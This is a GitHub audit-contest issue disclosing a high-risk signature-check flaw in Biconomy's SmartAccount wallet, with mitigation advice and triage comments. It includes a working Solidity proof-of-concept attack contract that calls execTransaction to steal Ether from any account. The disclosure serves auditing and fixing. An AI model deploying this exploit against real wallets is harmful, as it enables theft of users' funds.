Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Anybody can execute arbitrary transactions on any SmartAccount via execTransaction #50

Closed
code423n4 opened this issue Jan 5, 2023 · 4 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-175 satisfactory satisfies C4 submission criteria; eligible for awards sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity")

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

Anybody can execute any transaction they want on behalf of any SmartAccount via the execTransaction function.

Anybody can get any SmartAccount to execute any transaction they want as long as it is done through a contract account. For instance, transfer out all Ether, ERC20, and ERC721, or do any operation to which the SmartAccount has access.

Proof of Concept

Here is a simple example attack to illustrate the concept. In the example, 1 Ether is stolen. However, the transaction provided to the smartAccount.execTransaction function can be anything.

contract Attack {
    uint8 constant v = 0;
    bytes32 constant s = bytes32(uint256(1) * 65);
    bytes32 immutable r;
    address immutable attacker;

    constructor() {
        attacker = msg.sender;
        r = bytes32(uint256(uint160(address(this))));
    }

    function attack(ISmartAccount smartAccount) public {
        smartAccount.execTransaction(
            Transaction({
                to: attacker,
                value: 1 ether,
                data: "",
                operation: Operation.Call,
                targetTxGas: 0
            }),
            0,
            FeeRefund({
                baseGas: 0,
                gasPrice: 0,
                tokenGasPriceFactor: 0,
                gasToken: address(0),
                refundReceiver: payable(address(0))
            }),
            abi.encodePacked(getSignature(), uint256(0))
        );
    }

    function getSignature() public view returns (bytes memory) {
        return abi.encodePacked(r, s, v);
    }

    function isValidSignature(
        bytes memory,
        bytes memory
    ) public view virtual returns (bytes4) {
        return 0x20c13b0b;
    }
}

The root cause of this vulnerability layers in the SmartContract.checkSignatures function. The problem is that when the signature is a contract signature (v == 0). There is no check that the signer (_signer) is the owner. It checks that it's a valid signature but not who the signer is.

Tools Used

Manual review.

Recommended Mitigation Steps

Add the require(_signer == owner, "INVALID_SIGNATURE"); check in the case of a contract signature (v == 0).
Or, since all paths should make this check, add the check at the end of the checkSignatures function outside conditional statements.

Another alternative is removing the whole case of allowing contract signatures.

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Jan 5, 2023
code423n4 added a commit that referenced this issue Jan 5, 2023
@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as duplicate of #175

@c4-sponsor
Copy link

livingrockrises marked the issue as sponsor confirmed

@c4-sponsor c4-sponsor added the sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") label Jan 25, 2023
@livingrockrises
Copy link

#476 is not a duplicate of this issue.

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Feb 10, 2023
@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as satisfactory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-175 satisfactory satisfies C4 submission criteria; eligible for awards sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity")
Projects
None yet
Development

No branches or pull requests

4 participants